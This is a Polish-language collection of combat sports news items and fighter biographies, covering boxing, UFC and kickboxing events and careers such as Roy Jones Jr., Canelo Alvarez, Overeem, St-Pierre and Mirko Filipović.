Przed naszymi reprezentantami wyzwanie. Treningi w Japonii być może staną się początkiem dobrego wejścia w sezon. Dwie kluczowe imprezy: mistrzostwa Europy w Glasgow oraz mistrzostwa świata w Astanie. Czy stać nas na medal? W ubiegłym roku w dobrej formie był Maciej Sarnacki, który przywoził medale z Pucharów Świata. Nabawił się urazu i dochodzi do pełni sił. Nadzieje na dobre występy należy wiązać z utalentowanym Aleksandrem Betą, zwycięzcą Pucharu Świata w Tallinie. Należy pamiętać o Kamilu Kozłowskim oraz Tomaszu Kowalskim. W Japonii podczas treningów dobrze prezentował się Łukasz Błach. Być może swoją szansę wykorzysta Paweł Zgrodnik, który podczas Igrzysk Olimpijskich w Londynie był blisko brązowego medalu.

W lutym Polacy będą rywalizowali w Pucharze Świata w Rzymie i Grand Prix w Duesseldorfie.

KM

Jones Jr. powalczy o zaszczyty

46-letni Roy Jones Jr. nadal ma siłę i chęć, aby wchodzić na ring. Legendarny amerykański bokser zapowiada swoją rywalizację z Marco Huckiem.

Jones Jr. to żywa ikona pięściarstwa. Bokser wszechstronny, skuteczny i niezwykle pewny siebie. W swojej karierze osiągnął szczyt, zdobył wszystko, co było możliwe. Jones Jr. dzierżył w swoich dłoniach pasy mistrzowskie kategorii średniej IBF, super średniej IBF, półciężkiej WBC, WBA i IBF oraz ciężkiej WBA. Warto nadmienić, że pięściarz wywalczył tytuł w kategorii królewskiej w 2003 roku w pojedynku z Johnem Ruizem. Tym samym został drugim bokserem historii, który zdobył pas w wadze średniej i ciężkiej. Co ciekawe, nigdy nie bronił tytułu.

Jones Jr. to osobowość. Fenomenalny bokser, komentator i raper. Jego przygoda z komentatorstwem nie trwała długo, gdyż HBO uznało, że nie jest dostatecznie zaangażowany w swoją pracę i został zwolniony. Kariera Jonesa Jr. jest wielowątkowa, ale jego ostatnie występy nie należą do najlepszych. Na przestrzeni ostatnich lat przegrał z Dannym Greenem, Bernandem Hopkinsem czy Denisem Lebiediewem. Warto zaznaczyć, że w Amerykanin w czerwcu 2012 roku rywalizował z Pawłem Głażewskim i zakończył ten pojedynek zwycięsko.

Możliwości Jonesa Jr. stopniowo spadają. Jego osiągnięcia plasują go w bokserskiej czołówce, ale obecna forma daleka jest od idealnej. Z tym, że 46-letni pięściarz tęskni za ringiem i z wielką werwą chce dalej walczyć. Jones Jr. ma zamiar walczyć w Niemczech z mistrzem WBO wagi cruiser Marco Huckiem. Jednak najpierw Amerykanin planuje stoczyć pojedynek 3 marca. Rywalizacja z Huckiem ma mieć miejsce późną wiosną. Do ustalenia pozostały kwestie finansowe i formalne. Jones Jr. jest chętny stanąć ringu z Huckiem, gdyż chciałby wywalczyć kolejny tytuł w swojej karierze. Czy ma na to szanse?

Jones Jr. zapowiada, że jeśli wygrałby walkę i zdobył pas jego przygoda z bokserem nie miałaby dalszego sensu. – Moim celem jest tytuł mistrza świata wagi cruiser i jeśli zrealizuję ten plan to nie ma sensu, abym nadal walczył – powiedział 46-letni pięściarz. Plan Jonesa jest ambitny. Pytanie, na ile jest w stanie zagrozić Huckowi? Możliwe, że Amerykanin będzie rywalizował z Grigory’m Drozdem, posiadaczem pasa WBC. Dla Jonesa Jr. nie ma różnicy, kto będzie jego rywalem. Z tym, że ze strony Hucka wyszła propozycja i to na nią będą pracowały sztaby.

Blask Roya Jonesa Jr. nadal jest wyrazisty. Amerykanin nadal obecny jest w mediach, chce walczyć i zdobywać tytuły. Ma pragnienie, aby w historii boksu jego nazwisko świeciło blaskiem chwały. Mimo wszystko chyba już tak jest. Ma cel. Sukces w wadze cruiser. Jones jest gotowy walczyć w Niemczech, tylko kasa musi się zgadzać. Magia nazwiska działa.

 

KM

Polscy fighterzy opanują galę UFC

UFC odsłania kolejne karty związane z galą organizowaną w Polsce. Podczas krakowskiej imprezy zaprezentuje się Krzysztof Jotko.

Polski średni debiutował w UFC w grudniu 2013 roku. Do tej pory Jotko stoczył dla najlepszej organizacji mieszanych sztuk walki trzy pojedynki – dwa wygrał, poniósł jedną porażkę. W debiucie Polak okazał się lepszy od Bruno Santosa. Receptę na pokonanie Jotki znalazł Marcus Cedenblad. W październiku ubiegłego roku polski fighter na punkty pokonał Tora Troenga. Podczas gali UFC w Polsce Jotko powita w UFC Garretha McLellana. 33-latek zwrócił na siebie uwagę swoją efektywnością i został zaproszony do grona najlepszych. McLellan wzbudza uznanie swoją bezkompromisowością – większość walk skończył przed czasem. Z ostatnich sześciu pojedynków pięć rozstrzygnął przez poddanie. Do tej pory McLellan rywalizował w Extreme Fighting Championship Africa. Dla Krzysztofa Jotki to kolejne wyzwanie, ale doping polskiej publiczności z pewnością mu pomoże.

Podczas krakowskiej gali swój pojedynek stoczy Paweł Pawlak. Zawodnik Gracie Barra Łódź debiutował w UFC podczas Fight Night w Berlinie, gdzie uległ Peterowi Sobotcie. Znany z efektywności Pawlak najzwyczajniej w świecie nie wytrzymał presji. Szansę na rehabilitację dostanie w Krakowie. Naprzeciw Polaka stanie Sheldon Westcott, który był jednym z finalistów zeszłorocznego TUF Nations. Dla Kanadyjczyka pojedynek z Pawlakiem będzie debiutem w UFC w kategorii półśredniej.

O być albo nie być w UFC będzie walczył Marcin Bandel. Co prawda Polak do tej pory stoczył tylko jedną walkę, ale prawa są nieubłagane. Trzeba dawać z siebie wszystko, inaczej wypada się z gry. Bandel w swoim debiucie przegrał z Mairbekiem Taisumovem, a cała walka trwała ledwie ponad minutę. Rywalem Polaka będzie Jason Saggo, który do tej pory stoczył dla UFC dwa pojedynki. W swoim debiucie znokautował Josha Shockleya, w kolejnym starciu na punkty uległ Paulowi Felderowi. Bandel i Saggo stają przed ogromnym wyzwaniem. Z jednej strony stawiają pierwsze kroki w UFC, a z drugiej potknięcie może być ich końcem. Muszą dać z siebie wszystko, aby nadal być częścią najlepszej organizacji mieszanych sztuk walki na świecie.

UFC odsłania kolejne karty. W Krakowie pojawi się Krzysztof Jotko, który dobrze zna klimat UFC. Cieszy, że kolejną szansę dostał Paweł Pawlak, który ma spore możliwości, ale w debiucie sparaliżował go strach. Marcin Bandel stanie przed trudnym zadaniem. Porażka może być początkiem jego kłopotów, ale w rywalizacji z Saggo szanse są wyrównane. Wiadomo, że gwiazdą wieczoru będzie Mirko Filipović. Mimo to wszystkie oczy w Polsce będą zwrócone w stronę Jana Błachowicza. „John”, który obecnie robi kolosalne postępy jest ogromną nadzieją polskiego MMA. W Krakowie polski fighter zmierzy się z Jimim Manuwą. Czy od tego pojedynku rozpocznie drogę na szczyt UFC?

 

KM

KM

Bokserski serial – Canelo ma rywala

Jedna kwestia ze świata pięściarstwa najwyższych lotów jest już pewna. Saul Canelo Alvarez znalazł rywala. Strony poczyniły odpowiednie ustalenia i pojedynek został zakontraktowany. Po zerwaniu rozmów z Miguelem Cotto wybór obozu Alvareza padł na Jamesa Kirklanda.

Canelo chciał rywalizować z Portorykańczykiem, przez dugi czas naciskał na niego, jednak negocjacje nie zakończyły się sukcesem. Alvarez jest zdeterminowany, aby wrócić na ring i boksować. 2 maja w ringu obok Canelo stanie James Kirkland. Jeśli na ten sam termin przypadnie walka Mayweather – Pacquiao to prawdopodobnie Alvarez będzie walczył w innym czasie.

Najbliższy rywal Canelo na zawodowych ringach debiutował w 2001 roku. W dotychczasowej karierze Kirkland poniósł tylko jedną porażkę – przegrał z Nobuhiro Ishidą. Warto dodać, że Amerykanin rywalizował już z zawodnikami z Meksyku i w większości przypadków walki kończyły się przed czasem. Swego czasu Kirkland był bardzo obiecującym bokserem, wiązano z nim ogromne nadzieje. 30-latek nie należy jednak do grzecznych chłopców. Jego kłopoty z prawem często hamowały rozwój jego kariery. Kirkland przebywał w więzieniu za posiadanie broni palnej.

Canelo stanie do rywalizacji z przeciwnikiem, który prezentuje dobry poziom. Wiadomo, że pojedynek z Cotto byłby bardziej spektakularny, jednak Kirkland jest twardym bokserem i Alvarez wcale nie będzie miał łatwego zadania. Nie jest to walka o pas, więc obozy pięściarzy nie chcą zmuszać ich do restrykcyjnego trzymania się wagi. Limit na tą walkę został wyznaczony na 155 funtów. W ten sposób pojedynek zostanie odnotowany jako starcie w kategorii średniej. Ze strony obozu Canelo być może jest to przemyślana strategia. Grupa Golden Boy Promotions poważnie myśli o starciu Alvareza z mistrzem świata federacji WBA kategorii średniej Giennadijem Gołowkinem.

Najpierw Kirkland. Alvarez jest szczęśliwy, że może w końcu będzie mógł wejść do ringu. Czekał na rywala i wreszcie go poznał. Kirkland jest gwarantem dobrego poziomu, choć z pewnością na starcie większe szanse ma Canelo. Jeśli uda się stoczyć pojedynek w maju będzie to miało szczególny wymiar dla Meksykanina.

Jeden wątek z bokserskiego świata zakończony. Jest rywal, jest termin, będzie walka. W innych przypadkach rozmowy trwają, a dodatkowo rodzą się kolejne spekulacje. Wszyscy czekają na rozstrzygnięcie kwestii pojedynku Mayweather – Pacquiao. Pacman wyznał, że na 80% dojdzie do tego starcia. W całym zamieszaniu udział bierze Amir Khan, który spekuluje na temat swojej rywalizacji z Pacquiao. Anglik nie chce walczyć z Filipińczykiem w umownym limicie, lecz tylko i wyłącznie w limicie 147 funtów. Na dodatek pojawiły się plotki, że 2 maja dojdzie do starcia Floyda Mayweathera Jr z Miguelem Cotto.

Cały czas jest gorąco. Oczywiste jest, że audytorium czeka na nowinę o pojedynku Mayweathera z Pacquiao. Alvarez znalazł przeciwnika. Dopóki Cotto i Khan nie będą mieli kolejnych rywali domysły będą rosły jak grzyby po deszczu. 

KM

Alistair Overeem

Holenderski Kick-boxer i zawodnik MMA urodzony 17 maja 1980 roku w Londynie. Jego ojcem był Jamajczyk a matką Holenderka. Po rozwodzie rodziców , w wieku 6 lat wraz z matką przeprowadził się na stałe do Holandii. Debiut w profesjonalnym MMA zanotował w 1999 roku na gali It’s Showtime w Haarlem. Następnie walczył dla organizacji RINGS i 2H2H. W 2002 roku zadebiutował na ringu PRIDE FC. Rok później wystartował w turnieju 2003 PRIDE Middleweight Grand Prix.  Odpadł w ćwierćfinale przegrywając z Chuckiem Liddellem.  W 2005 roku wziął udział w kolejnej edycji tego turnieju , tym razem doszedł do półfinału pokonując Victora Belforta i Ihora Wowczanczyna. W walce o finał został pokonany przez późniejszego tryumfatora turnieju Mauricio Ruę. Rok później walczył w turnieju PRIDE Openweight Grand Prix. Przegrał w 1/8 finału z Fabricio Werdumem. Po rozwiązaniu PRIDE FC przeszedł do wagi ciężkiej i walczył dla organizacji HERO’S, Strikeforce i DREAM. 16 listopada 2007 roku zdobył wakujący tytuł mistrza świata Strikeforce, pokonując przez poddanie Paula Buentello. W sierpniu 2009 roku Holender miał bronić pas w walce przeciwko Werdumowi. Do pojedynku jednak nie doszło z powodu kontuzji ręki Holendra. Po raz pierwszy swojego tytułu bronił 15 maja 2010 roku w walce przeciwko Brettowi Rogersowi. Alistair pokonał go przez TKO.  31 grudnia 2010 podczas gali Dynamite!! 2010 znokautował w 19 sekund Amerykanina Todda Duffe w walce o tymczasowe mistrzostwo DREAM w wadze ciężkiej. W 2011 roku wystartował w 8 osobowym turnieju Strikeforce. 18 czerwca podczas ćwierćfinału pokonał Fabricio Werduma. W półfinale miał zmierzyć się z Antonio Silvą.  Odmówił jednak walki w ustalonym przez telewizje Showtime terminie, powołując się na kontuzję. W rezultacie został usunięty z turnieju, a pod koniec lipca Strikeforce rozwiązała z nim kontrakt. Na początku września związał się umową z UFC. 30 grudnia 2011 roku w swoim debiucie dla UFC pokonał przez TKO w pierwszej rundzie Brocka Lesnara. Tą wygraną zapewnił sobie miano pretendenta do walki o pas mistrzowski.  Do tego pojedynku miało dojść 26 maja 2012 roku. Przeciwnikiem Alistaira miał być Junior dos Santos. Do walki nie doszło ponieważ na miesiąc przed walką w organizmie Holendra był dwukrotnie przekroczony poziom testosteronu. W 2001 roku Alistair zadebiutował w K-1. W debiucie przegrał z Errolem Parisem podczas GP Holandii. W 2004 roku w Tokio został znokautowany w pokazowym pojedynku przez Glaube Feitosę.  Do K-1 powrócił po długiej przerwie w 2008 roku. Podczas sylwestrowej gali Dynamite!! 2008 zmierzył się z byłym mistrzem K-1 w wadze ciężkiej i finalistą K-1 World GP 2008 Badrem Hari. Holender pokonał faworyzowanego Marokańczyka już w pierwszej rundzie. W marcu 2009 roku walczył z mistrzem K-1 Remym Bonjaskym. Przegrał walkę przez decyzję po wyrównanym pojedynku. Dobre występy Alistaira sprawiły, że w drodze internetowego głosowania otrzymał dziką kartę, upoważniającą do udziału w walce eliminacyjnej podczas Final 16 w Seulu.  Pokonał tam Petera Aertsa, zapewniając sobie prawo walki o mistrzostwo K-1 WGP w turnieju finałowym w Jokohamie. W pierwszej walce pokonał przez nokaut mistrza świata w Kyokushin Ewertona Teixeirę, w półfinale uległ jednak przez nokaut Hariemu. W październiku 2010 roku podczas Final 16 znokautował w pierwszej rundzie Bena Edwardsa, po raz drugi awansując do Finału K-1 WGP. Został on rozegrany 11 grudnia 2010 roku w Tokio. Overeem zdobył tytuł mistrza K-1 WGP, pokonując trzech rywali z rzędu Tyrone’a Sponga, Gokhana Saki i Petera Aertsa. 19 grudnia 2015 roku pokonał przez TKO w drugiej rundzie byłego mistrza wagi ciężkiej UFC Juniora Dos Santosa. 8 maja 2016 roku pokonał przez techniczny nokaut Andreia Arlovskiego. 

Georges St-Pierre

Kanadyjski zawodnik MMA urodzony 19 maja 1981 roku w Sainy-Isidore.  Pierwsze kontakt ze sportami walki miał w wieku siedmiu lat, gdy rozpoczął treningi Karate Kyokushin.  Georges trenował również zapasy, boks, boks tajski oraz Brazylijskie Jiu Jitsu. W lipcu 2006 roku otrzymał brązowy pas BJJ od Renzo Gracie, a w 2008 roku czarny pas od Bruno Fernandesa. W styczniu 2002 roku zanotował profesjonalny debiut w MMA. Wygrywając pięć walk z rzędu dla Kanadyjskiej federacji UCC i zdobywając jej pas mistrzowski, podpisał kontrakt z organizacją UFC. Debiutował dla UFC w styczniu 2004 roku pokonując Karo Parisyana przez jednogłośną decyzję sędziów.  Po kolejnym zwycięstwie nad Jayem Hieronem otrzymał szansę walki o wakujące mistrzostwo UFC wagi półśredniej.  Jego rywalem był były mistrz Matt Hughes.  Pojedynek ten odbył się 22 października 2004 roku. Georges przegrał ten pojedynek przez poddanie. Była to pierwsza przegrana walka Kanadyjczyka w jego zawodowej karierze.  Po przegranej z Hughesem, Kanadyjczyk w maju 2005 roku obronił mistrzostwo TKO Major League (dawneUCC) poddając Dave’a Strassera. To była jego ostatnia walka dla tej federacji, po niej podpisał długoterminowy kontrakt z UFC.  W ciągu następnych dwóch lat wygrał 5 walk, dzięki czemu zdobył prawo do rewanżowej walki z Hughesem. Doszło do niej w listopadzie 2006 roku. Tym razem to Kanadyjczyk okazał się wygranym. W pierwszej obronie jednak stracił tytuł na rzecz niżej notowanego Matta Serry. Mistrzostwo odzyskał 19 kwietnia 2008 roku w Montrealu, nokautując Serrę w walce rewanżowej. Następnie sześciokrotnie bronił swojego pasa pokonując w dominującym stylu takich rywali jak: Johna Fitcha, B.J. Penna, Thiago Alvesa, Dana Hardy’ego, Josha Koschecka i Jake Shieldsa. Swoją siódmą obronę pasa miał stoczyć 29 października 2011 roku przeciw Carlosowi Conditowi ale z powodu kontuzji kolana na dziesięć dni przed walką musiał się wycofać z tego pojedynku.  4 lutego 2012 roku miało dojść do wyczekiwanego pojedynku St-Pierra z Conditem, jednak tym razem również mistrz się wycofał z pojedynku z powodu zerwania więzadeł w kolanie.  Na tej gali zamiast pojedynku St-Pierre z Conditem, UFC zestawiło ze sobą Condita z Diazem o tymczasowe mistrzostwo w wadze półciężkiej, które ostatecznie wygrał Condit. Do starcia Georgesa z Conditem doszło pod koniec 2012 roku na gali w Montrealu. Zwycięzcą okazał się St-Pierre który zdominował Condita. Po wygranej z Conditem jeszcze dwukrotnie, skutecznie bronił pasa z Nickiem Diazem i Johnym Hendricksem. Po walce z Hendricksem z powodów osobistych zrzekł się pasa mistrzowskiego.

Zapowiedź Gali DSF Kickboxing Challenge 3

DSF Kickboxing Challenge: Bitwa w Piasecznie już 28 lutego!

Po sukcesie, jakim bez wątpienia była ostatnia gala DSF Kickboxing Challenge organizator Sławomir Duba postanowił iść za ciosem i dostarczyć fanom kickboxingu kolejnej dawki adrenaliny, która nie pozwoli usiedzieć w miejscu.

Już 28 lutego czołowi przedstawiciele polskiej sceny sportów uderzanych zaprezentują swoje wysokie umiejętności podczas trzeciej edycji gali DSF Kickboxing Challenge, która nosić będzie podtytuł „Bitwa w Piasecznie” i odbędzie się… właśnie w Piasecznie, a konkretnie w miejscowej hali GOSiR przy ulicy Sikorskiego 20. Podobnie jak miało to miejsce podczas dwóch pierwszych gal, tak i tym razem wstęp jest bezpłatny, a wejściówki będzie można odbierać od 29 stycznia w Urzędzie Miasta Piaseczno.

Atrakcje muzyczne, gra świateł, a przede wszystkim dziewięć znakomitych pojedynków w formułach full contact i K-1 Rules. Tego mogą spodziewać się wszyscy fani kickboxingu, którzy postanowią przybyć na galę DSF Kickboxing Challenge: Bitwa w Piasecznie.

Walką wieczoru będzie konfrontacja Młodzieżowego Międzynarodowego Mistrza Polski w formule full contact Łukasza Wichowskiego z aktualnym wicemistrzem kraju seniorów w tejże formule, Piotrem Kołakowskim. – Nie obawiam się swojego przeciwnika. Wiem, że zamierza ze mną wygrać, lecz ja również mam taki plan. Do tej pory nie miałem możliwości konfrontowania się z tak utytułowanym przeciwnikiem i jest to dla mnie bardzo mobilizujące – wyznał Wichowski.

Walka zapowiada się atrakcyjnie z wielu powodów. Najważniejszym z nich jest fakt, że stawką tej konfrontacji będzie mistrzowski pas DSF Challenge. Kolejnym z nich jest lokalizacja, czyli Piaseczno. Wichowski trenował wiele lat w Piasecznie, reprezentuje barwy tamtejszego klubu X-Fight i ma w mieście wielu kibiców, którzy z pewnością przyjdą mu dopingować. – Liczę na wsparcie znajomych. Można powiedzieć, że będę się bić u siebie, a więc nie ma innej możliwości, jak wygrać i to przed czasem – kończy.

Drugą główną walką lutowej gali będzie finał czteroosobowego turnieju K-1 Rules w kategorii wagowej do -81 kilogramów pomiędzy reprezentantem DSF Kickboxing Team Kamilem Rutą i Mateuszem Żukowskim z Terlik Team Mikołajki. Obaj wojownicy swoje walki półfinałowe wygrali w imponującym stylu. Ruta już w pierwszej rundzie wygrał przez nokaut z Sebastianem Adamskim, a Żukowski wypunktował Jakuba Bartnika. – Miałem więcej czasu i mogłem spokojnie obejrzeć pojedynki mojego przeciwnika. Wiem o nim wszystko, wiem jak z nim walczyć, żeby wygrać – mówi Ruta, który jest aktualnym Mistrzem Europy w formule Kick-Light.

Wszyscy fani podczas gali DSF Kickboxing Challenge: Bitwa w Piasecznie będą mogli obejrzeć również konfrontację z udziałem kobiet. Multimedalistka Dorota Godzina z DSF Kickboxing Team skrzyżuje rękawice Gabrielą Bednarowicz, brązową medalistką Pucharu Polski z 2014 roku w formule low kick. Dla Godziny będzie to dziesiąta walka w karierze. Podopieczna Piotra Siegoczyńskiego jest na zawodowym ringu niepokonana i podczas piaseczyńskiego widowiska zamierza podtrzymać passę zwycięstw. – Znam swoją rywalkę. Jest ode mnie niższa, ale przyzwyczaiłam się już do tego, że mało która przeciwniczka jest mojego wzrostu. Na pewno damy dobrą walkę – opowiada Godzina.

Oprócz trzech głównych walk zobaczymy jeszcze sześć pojedynków z udziałem m.in. Jakuba Bartnika, Lecha Rosińskiego, Sebastiana Adamskiego, Pauliny Frankowskiej i Katarzyny Jaworskiej.

KARTA WALK DSF KICKBOXING CHALLENGE W PIASECZNIE

Walk Wieczoru o pas DSF Challenge:
1. Formuła Full Contact kat. – 81kg: Łukasz Wichowski (DSF Kickboxing Team) vs. Piotr Kołakowski (Zamek Kurzętnik) 
Czas walki: 5 rund po 2 minuty
Finał turnieju K-1 kat. -81 kg:
2. Formuła K-1 kat. -81kg: Kamil Ruta (DSF Kickboxing Team) vs. Mateusz Żukowski (Terlik Team Mikołajki)
Czas walki: 3 rundy po 3 minuty
Extrafight:
3. Formuła K-1 kat. -56kg: Dorota Godzina (DSF Kickboxing Team) vs. Gabriela Bednarowicz (SKK-b Kielce) 
Czas walki: 3 rundy po 2 minuty
Walki rankingowe Pro-am:
4. Formuła K-1 kat. -81kg: Jakub Bartnik vs. Sebastian Adamski 
5. Formuła K-1 kat. -75kg: Mark Kołłątaj vs. Daniel Kolasiński 
6. Formuła K-1 kat. -70kg: Maciej Garbaczewski vs. Adrian Kulma
7. Formuła K-1 kat. -75kg: Lech Rosiński vs. Sebastian Prokop 
8. Formuła K-1 kat. -70kg: Paulina Frankowska vs. Katarzyna Jaworska 
9. Formuła K-1 kat. -67kg: Karol Sadłocha vs. Paweł Nowakowski

informacja prasowa

Mirko "Cro Cop" Filipovic

Chorwacki bokser, Kick-bokser oraz zawodnik MMA urodzony 10 września 1974 roku w Vinkovci. Trenować siłowo zaczął w wieku 11 lat. Jego inspiracją do rozpoczęcia treningów był film Krwawy sport.  Jego pierwsze treningi odbywały się w przydomowej szopie.  Mirko dorastał w czasach rozpadu Jugosławii i wojny domowej 1991-1995. W tym czasie przeniósł się na pół roku z rodzimej Privlaki do sąsiedniego miasta Varazdin. Na miejscu szukał działającego klubu Kick-boxingu, jednak do wyboru miał tylko kluby boku albo karate. Zdecydował się na karate, jednak nie spodobał mu się sposób treningów.  Pewnego dnia zobaczył grupę osób trenujących Kick-boxing. Po uzyskaniu zgody trenera przyłączył się do nich. W 1994 roku zmarł ojciec Mirko. Filipovic odbywał w tedy służbę wojskową, a jego rodzina nie miała za co żyć, gdyż jego ojciec był jedyną osobą pracującą. Mirko złożył podanie, i został przyjęty do Akademii Policyjnej.  Został przydzielony do oddziału antyterrorystycznego „ Lucko”.  Zarobione pieniądze przeznaczał na utrzymanie rodziny oraz treningi. Ze względu na karierę sportową był często zwalniany z obowiązków służbowych. W zamian do ringu wchodził w koszulce z napisem ATJ LUCKO. W tym oddziale służył przez 6 lat. Dzięki policyjnej karierze nadano mu pseudonim Cro Cop.  W K-1 zadebiutował w 1996 roku w wieku 22 lat. Jego trenerem był Branko Cikatic ( zwycięzca K-1 Grand Prix 1993). W swoim pierwszym pojedynku Mirko zmierzył się z finalistą K-1 Grand Prix 1995 Francuzem Jerome „Geronimo” Le Bannerem.  Chorwat wygrał pojedynek przez jednogłośną decyzję sędziów.  Następną walkę stoczył z Ernesto Hoostem, utytułowanym zawodnikiem boksu tajskiego i K-1. Mirko przegrał tę walkę przez TKO. Wkrótce po tej walce Mirko odszedł na trzy lata z K-1 i rozpoczął karierę amatorską w boskie. Powodem tej decyzji był konflikt z Trenerem Branko Cikaticem.  W 1997 roku został mistrzem Chorwacji w wadze superciężkiej  w boksie. Zajął również drugie miejsce na międzynarodowym turnieju o Puchar Akropolu, przegrywając w finale na punkty z Paolo Vidozem. Wystąpił także na mistrzostwach Świata w Budapeszcie, z których został wyeliminowany w 1/16 finału przez ówczesnego mistrza świata i Europy Aleksieja Lezina.  Rok później ponownie wygrał mistrzostwo kraju i reprezentował Chorwację na mistrzostwach Europy w Mińsku, gdzie przegrał w pierwszej rundzie z Sinanem Samilem Samem. W tym samym roku zdobył brązowy medal na igrzyskach śródziemnomorskich oraz srebrny na mistrzostwach CISM w Niemczech.  Do K-1 wrócił w 1999 roku pod okiem Damirema Siserema.  W pierwszej walce po powrocie, Mirko znokautował Jana Nortje, po czym stoczył pięć walk, z czego przegrał jedną. Zwycięstwa nad Bernardo, Musashim i Greco doprowadziły go do finału K-1 World GP 1999 w Tokio. W finale zmierzył się z Ernesto Hoostem. Również tym razem Holender okazał się górą. Trzecia walka i trzecia porażka z Ernesto Hoostem miała miejsce rok później w ćwierćfinale K-1 World GP 2000.  Pojedynek był bardzo wyrównany i do rozstrzygnięcia potrzebna była dodatkowa runda.  Mimo tych porażek Chorwat szybko awansował do grona gwiazd K-1. W 2001 roku najpierw został sensacyjnie znokautowany przez Michaela McDonalda, a później podczas treningu doznał kontuzji, która go wyeliminowała z eliminacji do finału World GP K-1. Zaproponowano mu występ w walce MMA przeciwko zapaśnikowi Kazuyukiemu Fujicie. Po tej walce Mirko podjął decyzję o rozstaniu z Kick-boxingiem i rozpoczęciu kariery w MMA. W 2002 roku stoczył w K-1 jeszcze 3 walki (wygrał z Yanagisawą, Bonjaskym i Huntem), a w swojej ostatniej walce znokautował Boba Sappa. Karierę MMA rozpoczął 19 sierpnia 2001 roku na gali K-1 Andy Hug Memorial. Walczyli tam na specjalnych zasadach Kick-boxerzy z graplerami.  Mirko pokonał przez TKO Kazuyukiego Fujitę.  W listopadzie 2001 roku zadebiutował w organizacji PRIDE FC, gdzie podczas gali PRIDE 17 zremisował z Nobuhiko Takadą. Po remisie przyszły szybkie zwycięstwa z takimi zawodnikami jak: Igor Wowczanczyn, Heath Herring czy Kazushi Sakuraba. Mirko zremisował także z Wanderleiem Silvą.  Zwycięską passę zakończył Antonio Rodrigo „Minotauro” Nogueira, który w walce o tymczasowe mistrzostwo PRIDE w wadze ciężkiej poddał Filipovica.  Szansą na odzyskanie miana pretendenta do tytułu miał być dla Chorwata udział w turnieju PRIDE Grand Prix 2004, w którym miało dojść do jego walki z Fiodorem Jemieljianienko. Najpierw jednak Mirko musiał pokonać Kevina Rendlemana. Mimo że był faworytem przegrał przez szybki nokaut.  Porażka zmniejszyła szanse na walkę o mistrzostwo, jednak po siedmiu kolejnych zwycięstwach z rzędu, władze PRIDE dały mu szansę na walkę o pas. Walka ta odbyła się w sierpniu 2005 roku. Walka była wyrównana, ale to Rosjanin okazał się lepszy, i to on wygrał przez jednogłośna decyzję sędziów.  Następne dwie walki stoczone przez Chorwata były pojedynkami rewanżowymi. Pierwszy pojedynek wygrał z Joshem Barnettem. A drugi przegrał z Markiem Huntem. W 2006 roku Mirko osiągnął swój największy sukces w karierze MMA. Wygrał turniej PRIDE Openweight Grand Prix na którym kolejno wyeliminował Ikuhisę Minowę, Hidehiko Yoshidę, Wanderleia Silvę, a w finale Josha Barnetta. W grudniu 2006 roku podpisał dwuletni kontrakt z UFC. Pierwszą walkę dla UFC stoczył 3 lutego 2007 roku pokonując Eddiego Sancheza. W drugiej walce przegrał z Brazylijczykiem Gabrielem Gonzagą.  Trzecią walkę dla UFC również przegrał, co spowodowało odejście Mirko z UFC. 15 marca 2008 roku zadebiutował w DREAM, gdy pokonał przez TKO Tatsuyę Mizuno.  W następnej walce zmierzył się z Alistairem Overeemem. Pojedynek został przerwany, gdy kilkukrotnie trafiony kolanem w krocze, Mirko odmówił kontynuowania dalszej walki. Na sylwestrowej gali Dynamite!! 2008. Chorwat zmierzył się z zawodnikiem K-1, Choi Hong-manem. Mirko pokonał go przez TKO.  W maju 2009 roku podpisał kontrakt na jedną walkę dla UFC. 13 czerwca w Kolonii stoczył pojedynek z Mostaphą Al-turkiem.  Podczas walki Chorwat przy wyprowadzaniu ciosu, niechcący włożył palec w oko rywala. Brytyjczyk , nie będąc w stanie kontynuować pojedynek, odwrócił się plecami do rywala i przyjął kilka ciosów bez odpowiedzi.  Sędzia nie dopatrując się faulu przerwał pojedynek i ogłosił zwycięstwo Filipowica przez TKO.  Manager Brytyjczyka złożył oficjalny protest, jednak wynik walki się nie zmienił.  W Lipcu Mirko podpisał kontrakt na trzy kolejne walki. Pierwszą z nich przegrał przez poddanie z Juniorem Dos Santosem, gdy po jednym z ciosów doznał kontuzji oka. Drugą walkę wygrał przez TKO pokonując Australijczyka Anthonego Peroshema. Cztery miesiące później Chorwat pokonał Patricka Barry’ego przez duszenie zza pleców.  Mirko walczył ponownie już we wrześniu, gdy zgodził się zastąpić Antonio Rodrigo Nogueirę w walcę z Frankiem Mirem.  Chorwat przegrał przez ciężki nokaut w ostatniej minucie walki. Pół roku później również został znokautowany tym razem przez Brendana Schauba. 29 października odniósł trzecią porażkę z rzędu, przegrywając z Royem Nelsonem. W konsekwencji ogłosił zakończenie kariery MMA. Jednak rok później postanowił wznowić karierę w MMA. 23 sierpnia 2014 roku zdobył pas mistrza Inoki Genome Fight, pokonując złotego medalistę olimpijskiego w Judo, Satoshiego Ishiiego, wskutek głębokiego rozcięcia i niedopuszczenia go do kontynuowania walki. Pas obronił 30 grudnia na sylwestrowej gali Inoki Bom-Ba-Ye nokautując w rewanżowej walce Ishiiego.  10 marca 2012 roku w Zagrzebiu pokonał w walce na zasadach K-1 Raya Sefo. 27 maja na gali K-1 Rising w Madrycie pokonał przez nokaut Hiszpana Lorenzo Javiera Jorge „Lorena”. We wrześniu 2012 roku wystartował w kwalifikacjach do turnieju K-1 World Grand Prix.  W pierwszej rundzie turnieju pokonał przez decyzje Amerykanina Randy’ego Blake’a. Finałowa gala odbyła się w Zagrzebiu. Do turnieju zostali zaproszeni min. Badr Hari, Zabit Samiedow czy Hesdy Gerges. W ćwierćfinale Mirko spotkał się z Amerykaninem Jarrellem Millerem, którego pokonał na punkty. W półfinale pokonał na punkty Ukraińca Pawła Żurawiewa. W finale pokonał Ismaela Londta. 

Mocny, bokserski tydzień w FightKlubie!

Juarez vs Castellanos w eliminatorze do mistrzostwa świata WBC w kategorii piórkowej

